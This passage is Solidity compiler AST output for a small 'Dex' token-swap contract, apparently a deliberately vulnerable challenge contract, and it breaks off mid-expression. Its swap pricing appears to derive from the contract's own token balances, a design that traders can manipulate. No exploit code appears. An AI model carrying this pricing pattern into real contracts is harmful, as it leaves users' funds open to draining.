on":50587,"src":"426:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"417:16:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50597,"nodeType":"ExpressionStatement","src":"417:16:67"},{"expression":{"id":50600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50598,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"443:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50599,"name":"_token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50589,"src":"452:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"443:16:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50601,"nodeType":"ExpressionStatement","src":"443:16:67"}]},"functionSelector":"cbc7854e","implemented":true,"kind":"function","modifiers":[{"id":50592,"kind":"modifierInvocation","modifierName":{"id":50591,"name":"onlyOwner","nameLocations":["397:9:67"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"397:9:67"},"nodeType":"ModifierInvocation","src":"397:9:67"}],"name":"setTokens","nameLocation":"346:9:67","parameters":{"id":50590,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50587,"mutability":"mutable","name":"_token1","nameLocation":"364:7:67","nodeType":"VariableDeclaration","scope":50603,"src":"356:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50586,"name":"address","nodeType":"ElementaryTypeName","src":"356:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50589,"mutability":"mutable","name":"_token2","nameLocation":"381:7:67","nodeType":"VariableDeclaration","scope":50603,"src":"373:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50588,"name":"address","nodeType":"ElementaryTypeName","src":"373:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"355:34:67"},"returnParameters":{"id":50593,"nodeType":"ParameterList","parameters":[],"src":"407:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50626,"nodeType":"FunctionDefinition","src":"472:164:67","nodes":[],"body":{"id":50625,"nodeType":"Block","src":"550:86:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50616,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"595:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50617,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"599:6:67","memberName":"sender","nodeType":"MemberAccess","src":"595:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":50620,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"615:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50619,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"607:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50618,"name":"address","nodeType":"ElementaryTypeName","src":"607:7:67","typeDescriptions":{}}},"id":50621,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"607:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50622,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50607,"src":"622:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50613,"name":"token_address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50605,"src":"567:13:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50612,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"560:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"560:21:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50615,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"582:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"560:34:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50623,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"560:69:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50624,"nodeType":"ExpressionStatement","src":"560:69:67"}]},"functionSelector":"56688700","implemented":true,"kind":"function","modifiers":[{"id":50610,"kind":"modifierInvocation","modifierName":{"id":50609,"name":"onlyOwner","nameLocations":["540:9:67"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"540:9:67"},"nodeType":"ModifierInvocation","src":"540:9:67"}],"name":"addLiquidity","nameLocation":"481:12:67","parameters":{"id":50608,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50605,"mutability":"mutable","name":"token_address","nameLocation":"502:13:67","nodeType":"VariableDeclaration","scope":50626,"src":"494:21:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50604,"name":"address","nodeType":"ElementaryTypeName","src":"494:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50607,"mutability":"mutable","name":"amount","nameLocation":"525:6:67","nodeType":"VariableDeclaration","scope":50626,"src":"517:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50606,"name":"uint256","nodeType":"ElementaryTypeName","src":"517:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"493:39:67"},"returnParameters":{"id":50611,"nodeType":"ParameterList","parameters":[],"src":"550:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50715,"nodeType":"FunctionDefinition","src":"642:518:67","nodes":[],"body":{"id":50714,"nodeType":"Block","src":"705:455:67","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50642,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50636,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"724:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50637,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"732:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"724:14:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50639,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"742:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50640,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"748:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"742:12:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"724:30:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":50643,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"723:32:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50644,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"760:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50645,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"768:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"760:14:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50649,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50647,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"778:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50648,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"784:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"778:12:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"760:30:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":50651,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"759:32:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"723:68:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c696420746f6b656e73","id":50653,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"793:16:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_18c8654bb6ae760fb2877e79fd627dbf13e3a26400e2732e171cf45a387d53e3","typeString":"literal_string \"Invalid tokens\""},"value":"Invalid tokens"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_18c8654bb6ae760fb2877e79fd627dbf13e3a26400e2732e171cf45a387d53e3","typeString":"literal_string \"Invalid tokens\""}],"id":50635,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"715:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"715:95:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50655,"nodeType":"ExpressionStatement","src":"715:95:67"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50665,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":50661,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"851:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"855:6:67","memberName":"sender","nodeType":"MemberAccess","src":"851:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50658,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"835:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50657,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"828:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"828:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"841:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"828:22:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"828:34:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":50664,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"866:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"828:44:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420656e6f75676820746f2073776170","id":50666,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"874:20:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""},"value":"Not enough to swap"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""}],"id":50656,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"820:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50667,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"820:75:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50668,"nodeType":"ExpressionStatement","src":"820:75:67"},{"assignments":[50670],"declarations":[{"constant":false,"id":50670,"mutability":"mutable","name":"swapAmount","nameLocation":"913:10:67","nodeType":"VariableDeclaration","scope":50714,"src":"905:18:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50669,"name":"uint256","nodeType":"ElementaryTypeName","src":"905:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":50676,"initialValue":{"arguments":[{"id":50672,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"939:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50673,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"945:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50674,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"949:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50671,"name":"getSwapPrice","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50751,"src":"926:12:67","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$_t_uint256_$returns$_t_uint256_$","typeString":"function (address,address,uint256) view returns (uint256)"}},"id":50675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"926:30:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"905:51:67"},{"expression":{"arguments":[{"expression":{"id":50681,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"992:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"996:6:67","memberName":"sender","nodeType":"MemberAccess","src":"992:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":50685,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1012:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50684,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1004:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50683,"name":"address","nodeType":"ElementaryTypeName","src":"1004:7:67","typeDescriptions":{}}},"id":50686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1004:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50687,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"1019:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50678,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"973:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50677,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"966:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"979:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"966:25:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50688,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:60:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50689,"nodeType":"ExpressionStatement","src":"966:60:67"},{"expression":{"arguments":[{"arguments":[{"id":50696,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1063:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50695,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1055:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50694,"name":"address","nodeType":"ElementaryTypeName","src":"1055:7:67","typeDescriptions":{}}},"id":50697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1055:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50698,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50670,"src":"1070:10:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50691,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"1043:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50690,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1036:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1036:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1047:7:67","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47926,"src":"1036:18:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50699,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1036:45:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50700,"nodeType":"ExpressionStatement","src":"1036:45:67"},{"expression":{"arguments":[{"arguments":[{"id":50707,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1123:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50706,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1115:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50705,"name":"address","nodeType":"ElementaryTypeName","src":"1115:7:67","typeDescriptions":{}}},"id":50708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1115:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":50709,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1130:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50710,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1134:6:67","memberName":"sender","nodeType":"MemberAccess","src":"1130:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50711,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50670,"src":"1142:10:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50702,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"1098:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50701,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1091:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1091:10:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50704,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1102:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"1091:23:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1091:62:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50713,"nodeType":"ExpressionStatement","src":"1091:62:67"}]},"functionSelector":"df791e50","implemented":true,"kind":"function","modifiers":[],"name":"swap","nameLocation":"651:4:67","parameters":{"id":50633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50628,"mutability":"mutable","name":"from","nameLocation":"664:4:67","nodeType":"VariableDeclaration","scope":50715,"src":"656:12:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50627,"name":"address","nodeType":"ElementaryTypeName","src":"656:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50630,"mutability":"mutable","name":"to","nameLocation":"678:2:67","nodeType":"VariableDeclaration","scope":50715,"src":"670:10:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50629,"name":"address","nodeType":"ElementaryTypeName","src":"670:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50632,"mutability":"mutable","name":"amount","nameLocation":"690:6:67","nodeType":"VariableDeclaration","scope":50715,"src":"682:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50631,"name":"uint256","nodeType":"ElementaryTypeName","src":"682:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"655:42:67"},"returnParameters":{"id":50634,"nodeType":"ParameterList","parameters":[],"src":"705:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50751,"nodeType":"FunctionDefinition","src":"1166:206:67","nodes":[],"body":{"id":50750,"nodeType":"Block","src":"1260:112:67","nodes":[],"statements":[{"expression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50747,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50736,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50726,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50721,"src":"1279:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"arguments":[{"arguments":[{"id":50733,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-